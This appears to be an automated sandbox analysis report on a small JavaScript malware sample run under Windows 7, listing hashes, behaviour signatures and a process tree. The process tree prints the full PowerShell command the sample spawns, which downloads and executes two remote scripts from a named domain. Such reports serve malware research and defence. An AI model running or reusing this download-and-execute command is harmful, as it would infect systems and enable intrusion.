Analysis
-
max time kernel
120s -
max time network
124s -
platform
windows7_x64 -
resource
win7-20240611-en -
resource tags
arch:x64arch:x86image:win7-20240611-enlocale:en-usos:windows7-x64system -
submitted
12-06-2024 02:33
Static task
static1
Behavioral task
behavioral1
Sample
f2fa65752c20d58faf3a9546ef3a1792565a075e9e64b65a7921875c1300fb37.js
Resource
win7-20240611-en
6 signatures
150 seconds
General
-
Target
f2fa65752c20d58faf3a9546ef3a1792565a075e9e64b65a7921875c1300fb37.js
-
Size
1KB
-
MD5
b8b73de27d87836914a258507b8066cc
-
SHA1
bb10873bfb35fb2d7ffb2942bba35d65068f6f70
-
SHA256
f2fa65752c20d58faf3a9546ef3a1792565a075e9e64b65a7921875c1300fb37
-
SHA512
085fdbe93fb90614701bd5361933e47e3a2992e9d2fe6379b5e1c60e51628ee05b988ca8fac171d0b11f1485efb21b995f0262097e18708a6b062256d6a66c0b
Score
3/10
Malware Config
Signatures
-
Command and Scripting Interpreter: JavaScript 1 TTPs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
powershell.exepid process 2252 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 2252 powershell.exe -
Suspicious use of WriteProcessMemory 4 IoCs
Processes:
wscript.exedescription pid process target process PID 2368 wrote to memory of 2252 2368 wscript.exe powershell.exe PID 2368 wrote to memory of 2252 2368 wscript.exe powershell.exe PID 2368 wrote to memory of 2252 2368 wscript.exe powershell.exe PID 2368 wrote to memory of 2252 2368 wscript.exe powershell.exe
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\f2fa65752c20d58faf3a9546ef3a1792565a075e9e64b65a7921875c1300fb37.js1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -command "$env:paths = '7z6CIMQJA0CS'; IEX(IWR -UseBasicParsing 'https://lechiavetteusb.it/imgs/usb/logo/khesariQUXH.ps1'); $vv.SetValue($null, [bool]'RGJU7PGYEPE'); IEX(IWR -UseBasicParsing 'https://lechiavetteusb.it/imgs/usb/logo/wizeninglYZn.ps1')"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
memory/2252-3-0x00000000739F1000-0x00000000739F2000-memory.dmpFilesize
4KB
-
memory/2252-4-0x00000000739F0000-0x0000000073F9B000-memory.dmpFilesize
5.7MB
-
memory/2252-5-0x00000000739F0000-0x0000000073F9B000-memory.dmpFilesize
5.7MB
-
memory/2252-6-0x00000000739F0000-0x0000000073F9B000-memory.dmpFilesize
5.7MB
-
memory/2252-7-0x00000000739F0000-0x0000000073F9B000-memory.dmpFilesize
5.7MB
-
memory/2252-8-0x00000000739F0000-0x0000000073F9B000-memory.dmpFilesize
5.7MB